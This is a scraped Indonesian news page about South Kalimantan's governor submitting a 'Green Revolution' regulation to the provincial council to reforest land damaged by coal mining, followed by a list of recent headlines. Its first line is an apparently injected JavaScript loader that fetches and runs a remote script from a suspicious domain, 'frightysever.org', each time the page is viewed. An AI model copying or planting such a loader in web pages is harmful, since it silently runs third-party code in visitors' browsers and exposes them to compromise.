(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Gubernur Sodorkan Perda Revolusi Hijau ke Dewan, Apa Tanggapannya?


BANJARMASIN, Banyaknya kerusakan lingkungan akibat pertambangan batubara menjadi kerasahan Gubernur Kalsel Sahbirin Noor. Untuk menghijaukan kembali kawasan tersebut, dia berinisiatif mengusulkan Perda terkait Revolusi Hijau kepada DPRD  Provinsi Kalsel, Kamis (2/11)

Dalam sidang paripurna dewan, Wakil Gubernur Kalsel Rudy Resnawan mengungkapkan bahwa Perda tersebut merupakan wewenang daerah untuk mengatur daerahnya sendiri bagaimana amanah UU Nomor 23 Tahun 2014 tentang Pemerintah Daerah.  Selain itu, Perda Revolusi Hijau dibentuk berdasarkan rasa keprihatinan terhadap lingkungan alam Kalsel yang semakin mengalami penurunan kualitas sehingga sangat berpengaruh pada ekosistem.

“Kita akan manfaatkan lahan kritis tersebut untuk penghijaun dengan melakukan penanaman, ” ungkapnya.

Ia menilai selama ini lingkungan masih kurang perhatian dari pemangku kepentingan, sehingga masih banyak lahan yang kritis. “Melalui Raperda ini adalah bentuk kepedulian,”  ujarnya.

Di sisi lain, dewan pun menyambut baik rencana Perda tersebut. Rencananya, Senin (6/11) akan diadakan pandangan umum setiap fraksi partai politik yang ada kursi dewan  terhadap Raperda yang diusulkan oleh gubernur.

Revolusi Hijau yang digalakkan Pemprov diharapkan mampu merehabilitasi kerusakan lingkungan di wilayah tersebut. Revolusi hijau ditandai dengan penghijauan di sepanjang ruas Jalan Trans-Kalimantan serta rehabilitasi daerah aliran sungai (DAS) mencapai 35.000 hektare per tahun.

Revolusi hijau merupakan program pembangunan bidang lingkungan yang menjadi visi dan misi Gubernur Kalsel, Sahbirin Noor. Program dengan jargon ‘menanam, menanam, dan menanam’ ini menitikberatkan pada kegiatan edukasi, peningkatan kepedulian, kemampuan dan kemandirian masyarakat dalam menanam.

Program ini juga bertujuan meningkatkan indeks kualitas lingkungan Kalsel yang kini berada pada urutan 26 dari 33 provinsi di Tanah Air.

“Program revolusi hijau yang mulai kita galakkan sejak dua tahun terakhir ini diharapkan mampu mengatasi kerusakan lingkungan di Kalsel,” ungkap Kepala Dinas Kehutanan Kalsel, Hanif Faisol Nurofiq, beberapa waktu lalu.


Page: 1 2

Desy Arfianty

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

14 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

18 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

22 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

2 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

2 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

2 hari ago

This website uses cookies.